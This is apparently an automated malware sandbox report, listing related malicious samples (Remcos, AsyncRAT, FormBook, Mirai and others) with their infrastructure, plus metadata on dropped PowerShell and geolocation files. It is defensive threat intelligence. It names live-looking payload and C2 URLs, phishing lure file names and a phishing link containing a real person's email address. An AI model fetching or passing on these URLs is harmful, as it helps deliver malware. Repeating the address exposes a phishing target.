	sostener.vbs	Get hash	malicious	Njrat	Browse	pastebin.com/raw/V9y5Q5vv
	sostener.vbs	Get hash	malicious	XWorm	Browse	pastebin.com/raw/V9y5Q5vv
	envifa.vbs	Get hash	malicious	Remcos	Browse	pastebin.com/raw/V9y5Q5vv
	New Voicemail Invoice 64746w .js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
188.114.96.3	BL.exe	Get hash	malicious	FormBook	Browse	www.launchdreamidea.xyz/bd77/
	w49A5FG3yg.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	733812cm.n9shteam.in/DefaultWordpress.php
	9XHFe6y4Dj.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	733812cm.n9shteam.in/DefaultWordpress.php
	SecuriteInfo.com.Win32.MalwareX-gen.14607.6011.exe	Get hash	malicious	Unknown	Browse	servicetelemetryserver.shop/api/index.php
	t1zTzS9a3r.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	abdulbek.top/externalvideoprotectdefaultsqlWindowsdlePrivate.php
	aQdB62N7SB.elf	Get hash	malicious	Shikitega, Xmrig	Browse	main.dsn.ovh/dns/lovely
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/DyuQ5y15/download
	zygWTMeQC2.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	138231cm.n9shteam.in/CpuApiprotectTemp.php
	PURCHASE ORDER-6350.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/ttiz/
	Aunali_khokhawala-In Services.Agreement-SDYAMPA 416944.rtf	Get hash	malicious	EvilProxy, Fake Captcha, HTMLPhisher	Browse	vh26kx.pinboarddisplaced.com/?email=

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
paste.ee	20042024150836 14.10.2024.vbe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Swift Payment 20241014839374.vbs	Get hash	malicious	Remcos	Browse	188.114.96.3
	segura.vbs	Get hash	malicious	AsyncRAT	Browse	188.114.96.3
	DHL_Shipping_Invoices_Awb_0000000.vbs	Get hash	malicious	Remcos	Browse	188.114.97.3
	20062024150836 11.10.2024.vbe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	awb_shipping_doc_001700720242247820020031808174CN18003170072024_00000000pdf.js	Get hash	malicious	Remcos	Browse	188.114.97.3
	DIEN OMM 10.10.2024.vbe	Get hash	malicious	Unknown	Browse	188.114.97.3
	10092024150836 09.10.2024.vbe	Get hash	malicious	FormBook	Browse	188.114.96.3
	Logistics1.vbs	Get hash	malicious	FormBook	Browse	188.114.96.3
	SWIFT 103 202410071251443120 071024-pdf.vbs	Get hash	malicious	Remcos	Browse	188.114.97.3
geoplugin.net	DHL AWB_NO_92847309329.exe	Get hash	malicious	PureLog Stealer, Remcos	Browse	178.237.33.50
	Order_MG2027176.vbs	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	Salary Revision_pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	Scanned_22C-6e24090516030.pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	Order.vbs	Get hash	malicious	Remcos	Browse	178.237.33.50
	rIMG465244247443GULFORDEROpmagasinering.cmd	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	1729445225fa0e5768d1d682409147d63519fc74f7a5fbd0985a9e3ffe794cd2fed7b2306d148.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	172926254156daf582728190320bacb622ccd105a50446fe4e74bbec68be10e3a78d1b71e6763.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	104.29.220.112
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	104.29.0.194
	ceTv2SnPn9.elf	Get hash	malicious	Mirai	Browse	172.71.167.138
	https://doc.tayato.com/mo6/?top=uwe.geiersbach@bbraun.com	Get hash	malicious	Unknown	Browse	104.21.37.177
	https://mcprod.britwyn.co.nz	Get hash	malicious	Unknown	Browse	104.17.247.203
	Salary_Increase_Approval_Open_Enrollment_202417918.pdf	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://manatoki463.net	Get hash	malicious	Unknown	Browse	141.101.120.10
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	https://na2.docusign.net/Signing/EmailStart.aspx?a=52f7eab1-67dd-4b2c-9342-8cf1837ca85b&etti=24&acct=8327544d-e5d8-4fb1-8036-f62a8723beb9&er=1f6c0370-0bf0-4639-942a-0c529236b3c5	Get hash	malicious	HtmlDropper	Browse	188.114.97.3
SOFTLAYERUS	bin.armv7l.elf	Get hash	malicious	Mirai	Browse	169.47.245.36
	LNLAncf2v5.elf	Get hash	malicious	Mirai, Okiru	Browse	161.159.147.94
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse	158.175.138.255
	yakuza.sh.elf	Get hash	malicious	Unknown	Browse	161.159.201.98
	arm5.elf	Get hash	malicious	Unknown	Browse	174.37.138.251
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	172.94.213.128
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	108.168.171.164
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	67.19.213.165
	mips.elf	Get hash	malicious	Unknown	Browse	169.38.239.94
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	149.81.172.98
CLOUDFLARENETUS	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	104.29.220.112
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	104.29.0.194
	ceTv2SnPn9.elf	Get hash	malicious	Mirai	Browse	172.71.167.138
	https://doc.tayato.com/mo6/?top=uwe.geiersbach@bbraun.com	Get hash	malicious	Unknown	Browse	104.21.37.177
	https://mcprod.britwyn.co.nz	Get hash	malicious	Unknown	Browse	104.17.247.203
	Salary_Increase_Approval_Open_Enrollment_202417918.pdf	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://manatoki463.net	Get hash	malicious	Unknown	Browse	141.101.120.10
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	https://na2.docusign.net/Signing/EmailStart.aspx?a=52f7eab1-67dd-4b2c-9342-8cf1837ca85b&etti=24&acct=8327544d-e5d8-4fb1-8036-f62a8723beb9&er=1f6c0370-0bf0-4639-942a-0c529236b3c5	Get hash	malicious	HtmlDropper	Browse	188.114.97.3
ATOM86-ASATOM86NL	ceTv2SnPn9.elf	Get hash	malicious	Mirai	Browse	85.222.236.220
	DHL AWB_NO_92847309329.exe	Get hash	malicious	PureLog Stealer, Remcos	Browse	178.237.33.50
	Order_MG2027176.vbs	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	Salary Revision_pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	Scanned_22C-6e24090516030.pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	Order.vbs	Get hash	malicious	Remcos	Browse	178.237.33.50
	rIMG465244247443GULFORDEROpmagasinering.cmd	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	1729445225fa0e5768d1d682409147d63519fc74f7a5fbd0985a9e3ffe794cd2fed7b2306d148.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	duEsmKBlGr.exe	Get hash	malicious	Unknown	Browse	178.237.33.50
	lA0Z0vjXfA.exe	Get hash	malicious	Unknown	Browse	178.237.33.50

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://doc.tayato.com/mo6/?top=uwe.geiersbach@bbraun.com	Get hash	malicious	Unknown	Browse	104.20.4.235 188.114.96.3
	http://linternasdelmar.com/RDGHEV	Get hash	malicious	Unknown	Browse	104.20.4.235 188.114.96.3
	MDE_File_Sample_c30bdf9dd71e806fd1e0e834647bce524afa781f.zip	Get hash	malicious	Unknown	Browse	104.20.4.235 188.114.96.3
	(No subject) (90).eml	Get hash	malicious	Unknown	Browse	104.20.4.235 188.114.96.3
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlsx.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.20.4.235 188.114.96.3
	DHL.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.20.4.235 188.114.96.3
	DHL_Shipping_Invoices_Awb_BL_000000000102120242247820020031808174Global180030010212024.vbs	Get hash	malicious	GuLoader	Browse	104.20.4.235 188.114.96.3
	Order_MG2027176.vbs	Get hash	malicious	Remcos, GuLoader	Browse	104.20.4.235 188.114.96.3
	Salary Revision_pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	104.20.4.235 188.114.96.3
	Scanned_22C-6e24090516030.pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	104.20.4.235 188.114.96.3

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	957
Entropy (8bit):	5.009232287567204
Encrypted:	false
SSDEEP:	24:qsdRNuKyGX85jHf3SvXhNlT3/7YvfbYro:xPN0GX85mvhjTkvfEro
MD5:	759439A00540A5351C6ED1D4E86C08CC
SHA1:	B3C8DC85717DA6D27CF8A3F2533216BD9DA8DD0F
SHA-256:	457CC36B09721B31358CCB09F7822FBBF3CB120FA03349642814CB0A9B107126
SHA-512:	90F41E51A1BA10CE2D3DF77A34FF108BADA8AD3B983689726FC9911796CE735A5650233BD32F0CB2C86B894908E313405FD8DDA00E64C7127958CE9C164EC3A8
Malicious:	false
Preview:	{. "geoplugin_request":"173.254.250.76",. "geoplugin_status":200,. "geoplugin_delay":"1ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"Killeen",. "geoplugin_region":"Texas",. "geoplugin_regionCode":"TX",. "geoplugin_regionName":"Texas",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"625",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"31.0065",. "geoplugin_longitude":"-97.8406",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/Chicago",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_00pvq4sc.t3i.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_12lqsw0q.pmk.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3el32ich.rk5.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3uvupvh0.4sq.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4m5g3u03.2yg.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ayycdulq.lif.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bcg1l3yk.e0b.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_blmkc2b4.ozs.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cxskrxof.p14.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dtxye3lw.u4t.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eein2ezk.r4t.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ei3rpfot.1yp.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gmrxwny3.fc5.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_icg0nb2w.igy.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iewb3vnf.q2j.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mpblppuq.me1.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ofed4421.la5.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_okds5wqa.ls0.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q5sq0hqy.5t1.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
